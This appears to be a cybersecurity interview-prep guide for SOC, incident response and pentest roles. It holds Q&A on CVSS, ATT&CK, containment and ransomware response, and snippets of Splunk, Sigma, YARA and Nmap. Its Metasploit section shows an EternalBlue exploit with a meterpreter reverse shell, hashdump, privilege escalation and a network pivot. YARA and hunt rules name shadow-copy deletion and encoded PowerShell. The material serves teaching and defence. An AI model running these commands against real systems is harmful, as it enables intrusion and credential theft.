Q4. What is CVSS and how do you prioritize with it? Ans: Standardized 0–10 severity from exploitability (AV/AC/PR/UI) and impact (CIA) metrics. But I prioritize with CVSS × asset criticality × exposure × exploit maturity (CISA KEV, EPSS). A 9.8 on an isolated test box is lower priority than a 7.5 on a domain controller.

Q5. Explain the difference between the Cyber Kill Chain and MITRE ATT&CK. Ans: Kill Chain is a linear 7-stage model of an intrusion — good for explaining where controls break attacks. ATT&CK is a granular, continuously updated knowledge base of real adversary techniques (with APT group mappings) — good for detection coverage, hunting, and reporting. Kill Chain for narrative; ATT&CK for engineering.

Q6. What does a SOC L1 analyst actually do, and when do you escalate? Ans: Validate and enrich alerts (V-C-I-S-E framework), follow playbooks, close FPs with written rationale, escalate when there's evidence of credential access, lateral movement, persistence, or data access — or when after ~45 min I have an evidence gap rather than a verdict. Escalation packet: what I checked, findings, timeline, indicators, hypothesis. Missing a real incident costs far more than an over-escalation.

Q7. True positive vs false positive vs false negative — which is worst? Ans: TP = correct alert, malicious. FP = rule correct but benign activity. FN = malicious activity missed. FNs are worst — silent compromise. FPs are managed by tuning and tolerable in moderation.

Q8. How do you handle alert fatigue? Ans: Two layers — personal: document every close reason, never bulk-close; systemic: measure TP rate per rule, tune/suppress noisy rules, dedupe, risk-score to surface high-impact alerts. Goal isn't fewer alerts, it's fewer meaningless ones.

Q9. Give an example of a SIEM correlation rule. Ans: Correlate 20+ failed logons (4625) from one source within 5 minutes followed by a successful logon (4624) from that source → "successful brute force" alert, enriched with user risk and asset criticality. That converts hundreds of raw events into one actionable incident.

Q10. What is SOAR and where does it fit? Ans: SOAR automates repetitive response steps via playbooks — enrichment, containment, ticketing, notification. E.g., phishing playbook: detonate attachment, check URL reputation, purge email from all inboxes, create case. Frees analysts for judgment calls.

Q11. Name the NIST/SANS IR phases. Which is most often neglected? Ans: SANS PICERL: Preparation, Identification, Containment, Eradication, Recovery, Lessons Learned. Most neglected: Preparation (no playbooks/backups tested) and Lessons Learned (repeat incidents). NIST 800-61 is similar: Prep → Detect & Analyze → Contain/Eradicate/Recover → Post-Incident.

Q12. Short-term vs long-term containment — trade-offs? Ans: Short-term (minutes-hours): EDR host isolation, block C2, disable account, snapshot VM — stops bleeding but can tip off attacker or hurt business (isolating a store POS = revenue loss), so decide with stakeholders. Long-term: rebuild from clean images, patch the vector, rotate all credentials, harden. Never skip eradication just because short-term containment worked.

Q13. What is chain of custody and order of volatility? Ans: Chain of custody is the unbroken, signed record of who handled evidence, when, and how (hashes, write-blockers) — required for legal defensibility. Order of volatility says capture the most transient data first: RAM/network state → temp files → disk → remote logs → backups. Rule: memory before reboot, always.

Q14. Explain threat hunting vs alert-driven SOC work. Ans: SOC triage is reactive — alerts arrive, I investigate. Hunting is proactive — I start from a hypothesis ("adversaries abusing our VPN client — beaconing would look like periodic 443 to rare domains"), then query telemetry to prove/disprove. Findings become new detections (Sigma/SPL rules).

Q15. IOC vs IOA vs TTP — which is most valuable? Ans: IOC = artifact (hash/IP/domain) — fast to use, trivial for attackers to rotate. IOA = behavior (Word spawning encoded PowerShell) — more durable. TTP = tradecraft (Kerberoasting → PtH) — most durable and maps to ATT&CK; detect TTPs and you catch variants whose IOCs changed.

Q16. What is Sigma? Ans: Vendor-neutral YAML detection format — one rule converts to Splunk, Elastic, KQL, etc. Lets detection engineers write once and deploy everywhere; a house standard for detection-as-code.

Q17. Static vs dynamic malware analysis — when each? Ans: Static (hashes, strings, PE imports, Ghidra decompilation) without execution — first, safest, best for unpacked samples. Dynamic (sandbox: Procmon, FakeNet, Wireshark) — when code is packed/obfuscated and behavior is faster to observe; watch for VM-evasion. Best practice: both; static guides dynamic hypotheses.

Q18. What is a YARA rule and how do you avoid false positives? Ans: Pattern-matching rule over strings/bytes/conditions that tags malware families. Avoid FPs: pick family-specific strings (unique mutex, decoded config markers), combine conditions with and, never match generic API imports alone, and test against a goodware corpus before deployment.

Q19. What is file carving and when does it matter? Ans: Recovering deleted/unallocated files by recognizing file signatures (headers/footers) in raw bytes — no file system needed. Tools: Autopsy, foremost, PhotoRec. Matters when attackers delete evidence — carved ransomware notes, archives, or images from unallocated space prove data staging.

Q20. Walk through a buffer overflow and its mitigations. Ans: A function copies user input (strcpy) into a fixed stack buffer without bounds checking → overflow overwrites saved RBP and the return address → ret jumps to attacker-controlled address → code execution. Mitigations: stack canaries, DEP/NX, ASLR, PIE, safe functions (strncpy), and ROP needed to bypass them. From my CTF work: find offset with cyclic patterns in GDB, confirm EIP control.

Q21. 🎯 Scenario: "A user reports their PC is slow; EDR shows periodic HTTPS connections to a rare external IP every 60 seconds." What do you do? Ans: This smells like C2 beaconing (regular interval = automated check-in; jitter absence is a tell). 1) Validate: confirm the EDR data — process making the connections, destination IP/domain age/reputation (WHOIs, VT, threat intel). 2) Context: is the domain in any allowlist? Is the process signed/expected? 3) Investigate: process tree and command line, persistence (Run keys, scheduled tasks, services), user's recent email/downloads for delivery, DNS history. 4) Scope: search the same domain/IP/hash across the estate; other hosts beaconing? 5) Decide: if malicious, isolate host (short-term containment), block C2 network-wide, escalate to L2/IR with timeline + IOCs; preserve memory before reboot. 6) State what would change my mind: e.g., if the destination is a legitimate vendor update CDN with matching software and expected cadence.

Q22. 🎯 Scenario: "A zero-day is announced in a library running in our production e-commerce stack. Your move?" Ans: 1) Assess exposure: query the SBOM/dependency inventory (e.g., Dependabot) — which services use the library, what version, internet-facing? Is there a PoC in the wild (check KEV, vendor advisories, Twitter/ExploitDB)? 2) Risk-rank by exploitability × asset criticality — payment/checkout paths first. 3) Immediate mitigations while a patch is developed: WAF virtual patches/signatures, disable the vulnerable feature, network segmentation/egress filtering, tighten monitoring with a hunt hypothesis ("exploitation would look like unusual JNDI lookups / deserialization payloads in request logs"). 4) Coordinate patch rollout with change management and rollback plans; for log4j-style issues, rotate secrets (assume keys in logs were exposed). 5) Detection: deploy Sigma/YARA where relevant and watch for exploitation attempts retroactively (threat hunt across logs). 6) Communicate status to stakeholders on a cadence.

Q23. 🎯 Scenario: "An employee reports they clicked a link in a phishing email and entered their password." Ans: 1) Validate the report: pull the email (headers: SPF/DKIM/DMARC, sender), the URL, and proxy logs for the click and any download. 2) Contain: reset credentials + revoke sessions/tokens, enforce/verify MFA, block the URL/domain at proxy, purge the email from all inboxes (SOAR playbook) — remember ~40 other recipients may have gotten it. 3) Investigate: did anything execute? Endpoint process activity after click (doc spawning PowerShell = immediate escalation), inbox rules creation (attacker persistence in O365), sign-in logs (impossible travel, new MFA methods). 4) Scope: other clickers? Any account misuse (mass download, mail forwarding)? 5) Escalate if credential use or malware execution is confirmed; else document, educate the user, add indicators to blocklists.

Q24. 🎯 Scenario: "2:00 AM: SIEM fires 500 'lateral movement' alerts — one endpoint RDP'ing to 20 servers. Ransomware notes appearing on 3 workstations. CEO asks whether to pay the ransom." What's your priority and answer to the CEO? Ans: Priority: this is an active, spreading incident — contain first. 1) Isolate the source endpoint and affected hosts via EDR; disable the compromised account(s); block RDP/SMB east-west where possible. 2) Triage the 500 alerts by impact (domain controllers, file servers, payment systems first) — dedupe into one incident; find patient zero (phishing? exposed RDP? vuln?) and the ransomware family (note + sample → malware analysis). 3) Preserve evidence: memory/disk images, logs (order of volatility) before cleanup; snapshot. 4) Eradicate & recover: rebuild from clean, patched backups; verify backups weren't encrypted/tampered; rotate all credentials (assume AD compromise — krbtgt double-reset if Golden Ticket suspected). 5) Communicate: incident bridge with IT, legal, comms; per policy with law enforcement. To the CEO: "I can't recommend paying yet. Payment doesn't guarantee decryption, may fund criminal groups, may violate sanctions, and doesn't restore trust. First, we test our backups and recovery time; if we can restore within the business window, paying buys nothing. If recovery is truly impossible and business survival is at stake, that's a business/legal decision with counsel and insurers — my job is to give you verified recovery options within X hours." Evaluate first: (a) clean backups + tested restore, (b) decryptors already published (No More Ransom), (c) rebuilding affected systems.

Q25. 🎯 Scenario: "Your vuln scanner flags a critical RCE on a production server. Dev says it's a false positive because the app sits behind a WAF." Ans: Scanner says vulnerable version; WAF is a compensating control, not a fix — WAFs are bypassable and don't cover non-HTTP paths. I'd validate: check the exact version/service banner, try safe verification (non-destructive PoC or version-specific check) in a maintenance window, review WAF rules for actual coverage. Then risk-speak: even if currently mitigated, the underlying CVE remains; classify with CVSS + environmental context, recommend patching as the real fix with a deadline, and document the compensating control meanwhile. Never just close on someone's say-so — verify.

Q26. 🎯 Scenario: "During a pentest you find a file with what looks like real customer PII on a test server — out of scope." Ans: Stop, don't copy or browse the data. Immediately notify the engagement lead and the client contact per the pre-agreed emergency procedure in the RoE. Document minimally (path, how found, timestamp, that contents were not accessed) for the report as a serious finding — data exposure. Preserving chain of custody and client trust beats test completeness.

Q27. How would your CTF RE/forensics experience apply at Walmart? Ans: RE: Ghidra/GDB lets me triage unknown samples — decompile, find persistence/C2 logic, extract IOCs and write YARA/Sigma detections for the SOC. Forensics (Autopsy): carve deleted artifacts and build timelines to answer "what did the attacker access?" Wireshark: analyze C2/beaconing traffic and exfil patterns. CTFs taught me structured debugging under pressure — which is exactly IR incident analysis.

Q28. What are the phases of an incident timeline you'd present to leadership? Ans: Initial access → execution → persistence → privilege escalation → lateral movement → actions on objectives (exfil/encryption), each with UTC-normalized timestamps, affected assets/counts, current containment status, business impact, and next actions with owners. Leaders want impact, scope, and ETA — not packet captures.

4. Hands-On Snippets

4.1 Nmap

nmap -sn 10.0.0.0/24                              # host discovery
nmap -sS -sV -sC -O -p- --open 10.0.0.5           # full TCP + versions + default scripts
nmap --script vuln -sV 10.0.0.5                   # NSE vulnerability scripts
nmap -sU --top-ports 50 10.0.0.5                  # common UDP services
nmap -iL targets.txt -oA scan_results             # save all formats

4.2 Nessus (conceptual workflow)

1. Create scan: "Basic Network Scan" or "Advanced Scan"
2. Add targets/credentials (credentialed scan = 2-3x more findings)
3. Discovery: full port scan; safe checks only in prod
4. Run → review by severity (Critical/High first), filter by exploitability
5. Validate: manually confirm top findings (version match ≠ exploitable)
6. Export HTML/PDF report → tag with asset criticality → feed remediation tickets
7. Re-scan after patching to verify closure

4.3 Metasploit

msfconsole
msf6 > search smb eternalblue
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.0.0.5
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 10.0.0.2
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
meterpreter > getuid            # check privileges
meterpreter > run post/multi/recon/local_exploit_suggester
meterpreter > getsystem          # privilege escalation attempts
meterpreter > hashdump
meterpreter > run autoroute -s 10.0.1.0/24   # pivot to internal net

4.4 Splunk SPL

# NOTE: index/sourcetype/field names vary by environment — simplified illustrative queries; test before use.

# Brute force then success correlation (stats-only; avoids join's default max=1 pitfall)
index=win (EventCode=4625 OR (EventCode=4624 LogonType=10))
| stats count(eval(EventCode=4625)) as failures count(eval(EventCode=4624)) as successes
        values(TargetUserName) as user by src_ip
| where failures > 20 AND successes > 0
| sort - failures

# Beaconing detection: derive inter-arrival gap first — there is no raw "interval" field
index=proxy dest_host=*
| sort 0 + _time
| streamstats current=f last(_time) as prev_time by src_ip dest_host
| eval gap = _time - prev_time
| stats count dc(uri) as uris stdev(gap) as jitter avg(gap) as avg_gap by src_ip dest_host
| where count > 20 AND jitter < 5

# Encoded PowerShell hunting (T1059.001)
index=endpoint sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=1
  (Image="*\\powershell.exe" OR OriginalFileName="PowerShell.EXE")
  (CommandLine="*-enc*" OR CommandLine="*-EncodedCommand*" OR CommandLine="*FromBase64String*")
| table _time Computer User ParentImage Image CommandLine

// Same encoded-PowerShell hunt in Sentinel/Defender KQL (tables, not indexes)
DeviceProcessEvents
| where FileName =~ "powershell.exe"
| where ProcessCommandLine has_any ("-enc", "-EncodedCommand", "FromBase64String")
| project TimeGenerated, DeviceName, AccountName, InitiatingProcessFileName, ProcessCommandLine

4.5 Sigma Rule

title: Encoded PowerShell Execution
id: 9b1c2d3e-4f5a-6b7c-8d9e-0f1a2b3c4d5e
status: stable
description: Detects PowerShell spawned with encoded command (T1059.001)
author: your-name
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|endswith: '\powershell.exe'
  cmdline:
    CommandLine|contains:
      - '-enc'
      - '-EncodedCommand'
      - 'FromBase64String'
  condition: selection and cmdline
falsepositives:
  - Legitimate admin scripts using encoded commands
level: high
tags:
  - attack.execution
  - attack.t1059.001

4.6 YARA Rule

rule Ransomware_Note_Txt {
  meta:
    description = "Ransomware note text/HTML — NOT a PE, so do not require an MZ header"
    author = "your-name"
    severity = "high"
  strings:
    $note1 = "your files have been encrypted" nocase
    $note2 = "all your files" nocase
    $note3 = "bitcoin" nocase
    $note4 = "decrypt" nocase
  condition:
    filesize < 20KB and 2 of ($note*)
}

rule Ransomware_Payload_Pe {
  meta:
    description = "PE with ransomware capability strings (recovery inhibition / crypto)"
    author = "your-name"
    severity = "high"
  strings:
    $cap1 = "vssadmin delete shadows" nocase
    $cap2 = "bcdedit /set" nocase
    $cap3 = "wbadmin delete" nocase
    $cap4 = "CryptEncrypt" nocase
  condition:
    uint16(0) == 0x5A4D and filesize < 5MB and 2 of ($cap*)
}

yara -r ransomware.yar /samples/     # scan directory

4.7 Wireshark & Burp (one-liners)

Wireshark display filters (C2 / forensics):
  http.authbasic                    # cleartext HTTP Basic-auth credentials
  dns.qry.name.len > 40             # long/high-entropy subdomain -> DNS tunneling/C2
  ip.addr == 10.0.0.5               # then right-click packet -> Follow > TCP Stream
  http.request.method == "POST"     # upload/exfil candidates
tshark -r cap.pcap -Y dns -T fields -e dns.qry.name | sort -u   # unique DNS queries
Burp Suite: Proxy to intercept, Repeater to hand-tamper requests, Intruder for
fuzzing/credential-stuffing; full OWASP web coverage in Topic 4 (04-owasp-web.md).

5. Quick Revision Table + IR Playbook One-Pager

5.1 Quick Revision Table

5.2 IR Playbook One-Pager (Ransomware / Malware Incident)

┌─ PREPARATION (before) ────────────────────────────────────────────────┐
│ Playbooks tested • Offline/immutable backups verified • EDR deployed  │
│ • Comms tree (IR lead, legal, PR, exec) • Isolation authority defined │
└───────────────────────────────────────────────────────────────────────┘
┌─ 0-15 MIN: IDENTIFY + SHORT-TERM CONTAIN ─────────────────────────────┐
│ 1. Validate alert (EDR/SIEM) — is it real? Which hosts/family?        │
│ 2. Declare incident; open bridge; assign roles (IC, comms, scribe)    │
│ 3. Isolate affected hosts via EDR (keep IR channel)                   │
│ 4. Disable compromised accounts; block C2 at proxy/firewall           │
│ 5. Preserve evidence FIRST: memory capture, disk images, log export   │
│    (order of volatility — no reboots!)                                │
└───────────────────────────────────────────────────────────────────────┘
┌─ 1-6 HRS: SCOPE + ANALYZE ───────────────────────────────────────────┐
│ 6. Scope blast radius: same hash/beacon/user elsewhere? (SPL/Sigma)   │
│ 7. Find patient zero + initial access (phish? RDP? vuln? creds?)     │
│ 8. Malware triage: hash → VT/YARA; sandbox if unknown; RE if needed  │
│ 9. Forensics: timeline (Autopsy/Volatility), what data was touched?   │
│ 10. Stakeholder updates every 2h: scope, impact, ETA, decisions needed│
└───────────────────────────────────────────────────────────────────────┘
┌─ 6-48 HRS: ERADICATE + RECOVER ──────────────────────────────────────┐
│ 11. Rebuild hosts from clean, patched images (never "clean" in place) │
│ 12. Rotate ALL credentials in blast radius (AD: krbtgt ×2 if needed)  │
│ 13. Restore from verified-good backups; monitor for reinfection       │
│ 14. Long-term containment: patch root cause, segment, harden, MFA     │
└───────────────────────────────────────────────────────────────────────┘
┌─ +1-2 WEEKS: LESSONS LEARNED ────────────────────────────────────────┐
│ 15. Blameless post-mortem: timeline, what worked, gaps               │
│ 16. New detections (Sigma/YARA), tuned rules, updated playbooks       │
│ 17. Report to leadership; share intel (defanged IOCs) with community  │
└───────────────────────────────────────────────────────────────────────┘
Decision note: paying ransom is a business/legal last resort — verified
recovery (backups, decryptors at No More Ransom) comes first.

6. Common Mistakes (in interviews and on the job)

1. Dropping tool names instead of reasoning — "I'd run Nmap then Metasploit" scores zero. Say the thinking: understand surface → enumerate → research vulns → validate → exploit carefully. Tools are implementation details.
2. Containing before validating — isolating a host or disabling an executive's account off one unverified alert causes outages. Validate first; then act with the smallest safe containment.
3. Forgetting evidence preservation — rebooting "to fix it" destroys RAM, and cleanup before imaging kills forensics and legal defensibility. Memory first, always.
4. Treating CVSS as risk — a raw score without asset criticality, exposure, and exploit maturity (KEV/EPSS) leads to wrong prioritization.
5. Closing alerts without documentation — undocumenteds closes hide FNs and destroy tuning metrics. Every close gets a written reason.
6. Uploading client samples to VirusTotal blindly — VT shares samples with vendors and the community. Check hashes first; handle sensitive samples per policy.
7. Ignoring the business context — isolating a store POS or checkout service can cost more than the threat. Containment decisions involve business stakeholders.
8. Hunting without a hypothesis — "I'd just look at logs" isn't hunting. State a hypothesis, the telemetry you'd query, and what result would confirm it.
9. Static-only malware verdicts — packed samples fool strings/hash checks; combine static + dynamic, and beware sandbox-evasion (VM checks, timing).
10. Overclaiming CTF experience — say how Ghidra/GDB/Autopsy map to real IR workflows and where your experience is still growing. Interviewers probe vague stories hard (real Walmart feedback: "vague answers clearly cost me").
11. Forgetting scope/RoE in pentest scenarios — touching out-of-scope systems or exfiltrating real data is a reportable incident, not a win.
12. Rambling past ~2 minutes in scenarios — use the V-C-I-S-E structure, state your decision and what would change your mind, then stop.

Sources: real SOC/pentest/malware interview question banks (EpicDetect, NHPREP, SOCSimulator, Craw Security, Bugitrix, DecipherU, CLIMB) and Walmart Global Tech job/interview reports (JD for Intern: Cybersecurity incl. Penetration Testing Engineer II & Intrusion Analyst II; candidate interview experiences). Frameworks: NIST SP 800-61, NIST SP 800-115, SANS PICERL, PTES, Lockheed Martin Kill Chain, MITRE ATT&CK, CVSS v3.1, RFC 3227.